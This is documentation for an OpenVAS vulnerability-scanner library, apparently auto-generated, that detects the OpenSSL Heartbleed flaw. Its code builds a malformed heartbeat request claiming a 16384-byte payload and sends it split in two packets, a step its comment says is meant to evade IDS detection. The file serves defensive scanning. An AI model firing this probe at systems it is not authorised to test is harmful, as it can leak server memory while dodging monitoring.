Overview of gb_openssl_heartbeat.inc

Public Function Summary

Public functions are intended to be called by the code that imports this library.

Name Summary
heartbeat_supported
open_socket
test_hb

Private Function Summary

Private functions are not intended to be called by the code that imports this library. There is no functional difference between private and public functions, only convention, and they may be called as normal.

Name Summary
_broken_heartbeat

Public Function Details

heartbeat_supported

Named Parameters

data

Code

function heartbeat_supported( data )
{
  local_var pos, data, i, typ, heartbeat_mode, extension_length, session_id_length, handshake_length;

  if( ! data ) return FALSE;
 
  pos = 1;

  for( i = 0; i < strlen( data ); i++ )
  {
    handshake_length = strlen( data );
    if( handshake_length < 43 ) return FALSE;
    pos += 37;

    session_id_length = ord( data[pos] );
    pos += session_id_length + 4;

    if( pos  > handshake_length ) return FALSE;

    extension_length = getword( blob:data, pos:pos );
    if( extension_length < 1 ) return FALSE; 
    pos += 2;

    for( j=0; j < extension_length; j++ )
    {
      if( ( pos + j  + 4 ) > handshake_length ) return FALSE; 

      typ = getword( blob:data, pos:pos + j );

      if ( typ == 0x0f )
      {
        heartbeat_mode = ord( data[ pos + j + 4 ] );
        if( heartbeat_mode == 1 ) return TRUE; 
      }    
    }

  } 
  return FALSE;
}



		
top

open_socket

Named Parameters

port

Code

function open_socket( port )
{
  local_var soc, port, starttls_typ, starttls, st, search, stls;

  if( ! port ) return;

  soc = open_sock_tcp( port, transport:ENCAPS_IP );
  if( ! soc ) return FALSE;

  starttls_typ = get_kb_item('TLS/' + port);

  if( starttls_typ )
  {
    if( starttls_typ == "xmpp-server" )
    {
      host = get_host_name();

      req = "<stream:stream xmlns='jabber:server' " +
      "xmlns:stream='http://etherx.jabber.org/streams' " +
      "version='1.0' " +
      "to='" + host  + "'>";

      send( socket:soc, data:req );
      recv = recv( socket:soc, length:2048 );

      if( "stream:error" >< recv )
      {
        close( soc );
        return FALSE;
      }

      req = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>";
      send( socket:soc, data:req );
      recv = recv( socket:soc, length:256 );

      if( "<proceed" >!< recv )
      {
        close( soc );
        return FALSE;
      }
    }
    else if( starttls_typ == "xmpp-client" )
    {
      host = get_host_name();

      req = "<stream:stream xmlns='jabber:client' " +
      "xmlns:stream='http://etherx.jabber.org/streams' " +
      "version='1.0' " +
      "to='" + host  + "'>";

      send( socket:soc, data:req );
      recv = recv( socket:soc, length:2048 );

      if( "stream:error" >< recv )
      {
        close( soc );
        return FALSE;
      }

      req = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>";
      send( socket:soc, data:req );
      recv = recv( socket:soc, length:256 );

      if( "<proceed" >!< recv )
      {
        close( soc );
        return FALSE;
      }
    }
    else if ( starttls_typ == "ldap" )
    {
      req = raw_string(0x30,0x1d,0x02,0x01,0x01,0x77,0x18,0x84,
                       0x16,0x31,0x2e,0x33,0x2e,0x36,0x2e,0x31,
                       0x2e,0x34,0x2e,0x31,0x2e,0x31,0x34,0x36,
                       0x36,0x2e,0x32,0x30,0x30,0x33,0x37);

      send(socket:soc, data:req);
      recv = recv(socket:soc, length:1024);

      if( ord( recv[0] ) != 48 )
      {
        close( soc );
        return FALSE;
      }    
    }  
    else
    {
      tls_str = make_array(
                         'smtp', '220:STARTTLS\r\n' ,
                         'imap', 'OpenVAS1 OK:OpenVAS1 STARTTLS\r\n',
                         'pop3', '+OK:STLS\r\n',
                         'ftp',  '234:AUTH TLS\r\n',
                         'postgres','S:' + raw_string(0x00,0x00,0x00,0x08,0x04,0xD2,0x16,0x2F),
                         'nntp', '382 Continue:STARTTLS\r\n'
                        );

      if(  tls_str[starttls_typ] ) 
      { 
        starttls = tls_str[starttls_typ];

        if( starttls_typ == 'smtp' )
        {
           recv( socket:soc, length:1024 );
           send( socket:soc, data:'EHLO ' + this_host() + '\r\n');
           recv = recv( socket:soc, length:1024 );
        }

        st = split( starttls, sep:":", keep:FALSE );
        search = st[0];
        stls =  st[1];

        if( isnull( search ) || isnull( stls ) ) return  FALSE;
  
        send(socket:soc, data:stls);
        recv = recv( socket:soc, length:1024 );

        if( search >!< recv )
        { 
          close( soc );
          return FALSE;
        } 

      }  

    }

  }

  if( ! soc ) return;

  return soc;

}

function heartbeat_supported( data )

		
top

test_hb

Named Parameters

port
version

Code

function test_hb( port, version )
{
  local_var soc, hdr, len, pay, h, d, hello_done;

  soc = open_socket( port:port );
  if( ! soc ) return FALSE;

  hello = _ssl3_tls_hello( version:version );
  if( ! hello )
  {
    close( soc );
    return FALSE;
  }

  send( socket:soc, data:hello );

  while ( ! hello_done )
  {
    hdr = recv( socket:soc, length:5, timeout:5 );

    if( ! hdr || strlen( hdr ) != 5 )
    {
      close( soc );
      return FALSE;
    }

    len = getword( blob:hdr, pos:3 );
    pay = recv( socket:soc, length:len, timeout:5 );

    if( ! pay )
    {
      close( soc );
      return FALSE;
    }

    if( ord( pay[0] ) == 0x02 )
    {
      if( ! heartbeat_supported( data:pay ) ) return FALSE;
    }

    if( ord( pay[0] ) == 13 && ord( hdr[0] ) == 22 )
    {
      len1 = getword( blob:pay, pos:2 );
      next = substr( pay, len1 + 4 );
      if( next && ord( next[0] ) == 14 )
      {
        hello_done = TRUE;
        break;
      }
    }

    if( ( strlen( pay ) - 4 ) > 0 )
      mult = substr( pay, ( strlen( pay ) - 4 ), strlen( pay ) );

    if( ( ord( pay[0] ) == 14 || ( mult && ord( mult[0] ) == 14 ) ) && ord( hdr[0] ) == 22 )
    {
      hello_done = TRUE;
      break;
    }
  }

  if( ! hello_done )
  {
    close( soc );
    return FALSE;
  }

  # send heartbeat request in two packets to 
  # work around stupid IDS which try to detect
  # attack by matching packets only
  hb = _broken_heartbeat( version:version );
  send( socket:soc, data:raw_string( 0x18 ) );
  send( socket:soc, data:hb );

  h = recv( socket:soc, length:5, timeout:5 );

  if( ! h  || strlen( h ) != 5 )
  {
    close( soc );
    return FALSE;
  }

  if( ord( h[0] ) == 21 )
  {
    close( soc );
    return FALSE;
  }

  if( ord( h[0] ) == 24 )
  {
    len = getword( blob:h, pos:3 );
    d = recv( socket:soc, length:len, timeout:10 );
    close( soc );
 
    if( strlen( d ) > 3 )
    {
      security_message( port:port );
      exit( 0 );
    }
  }
  
  if( soc ) close( soc );
  return;

}

function open_socket( port )

		
top

Private Function Details

_broken_heartbeat

Named Parameters

version

Code

function _broken_heartbeat( version )
{
  local_var version, hb, payload;

  if( ! version ) version = TLS_10;

  payload = raw_string( 0x01 ) + raw_string( 16384 / 256, 16384 % 256 );
  hb = version + data_len( data:payload ) + payload;

  return hb;
}

function test_hb( port, version )

		
top